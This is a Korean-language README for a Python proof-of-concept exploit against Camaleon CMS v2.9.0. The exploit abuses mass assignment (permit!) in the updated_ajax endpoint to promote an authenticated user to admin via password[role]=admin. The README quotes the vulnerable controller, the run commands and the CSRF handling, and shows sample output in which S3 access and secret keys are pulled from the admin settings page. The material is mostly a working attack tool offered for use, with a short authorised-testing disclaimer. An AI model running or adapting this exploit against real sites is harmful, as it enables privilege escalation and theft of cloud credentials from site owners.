
Camaleon CMS v2.9.0에서 updated_ajax 엔드포인트의 부적절한 매개변수 처리를 통한 인증된 권한 상승
대상: Camaleon CMS
v2.9.0
유형:updated_ajax의 대량 할당(mass-assignment)을 통한 인증된 권한 상승 (role 필드)
추가 사항: 권한 상승 후 인증된 사용자가 접근할 수 있는 관리자 설정 페이지에서 S3 구성 선택적 추출
이 저장소에는 다음을 수행하는 Python 개념 증명 스크립트가 포함되어 있습니다:
/admin/profile/edit에서 CSRF 토큰을 가져옵니다.updated_ajax 엔드포인트를 호출하여 password[...] 필드를 업데이트하고 permit!을 악용하여 password[role]=admin을 설정합니다.-e) /admin/settings/site에서 S3 구성 값을 추출합니다.-r) 실행 후 역할을 원래 값으로 되돌립니다.이 동작은 관련 권고에 설명된 안전하지 않은 대량 할당 패턴과 일치합니다:
아래 컨트롤러 액션은 permit!을 사용하여 사용자를 업데이트합니다:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
permit!는 password 아래의 모든 키를 허용하므로, 공격자는 다음을 보낼 수 있습니다:
password[password]password[password_confirmation]password[role]=admin그러면 애플리케이션이 이를 수락하여 사용자의 역할을 업그레이드합니다.
admin으로 설정하여 잠재적으로 권한을 상승시킬 수 있습니다.requests의존성 설치:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
이 스크립트는 로그인 POST 후 반환된 HTML에서 /admin/logout 링크가 있는지 확인합니다.
로그아웃 링크가 있으면 세션이 인증된 것으로 간주합니다.
Camaleon은 Rails 스타일의 CSRF를 사용합니다. 일반적으로 두 가지 일반적인 위치에서 토큰을 볼 수 있습니다:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">PoC는 /admin/profile/edit에서 메타 csrf-token을 가져온 후 다음에 사용합니다:
authenticity_token=<token>X-CSRF-Token: <token>이 코드는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다 (예: 랩, CTF, 명시적 허가를 받은 환경).
소유하지 않거나 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.
| 플래그 | 설명 |
|---|
-u, --url | 기본 URL (예: http://alienone.in) |
-U, --username | 유효한 사용자 이름 |
-P, --password | 유효한 비밀번호 |
--newpass | 업데이트 요청에 전송할 비밀번호 값 (기본값: test) |
-e, --extract | 설정 페이지에서 S3 구성 추출 |
-r, --revert | 권한 상승 후 역할을 원래 역할로 되돌리기 |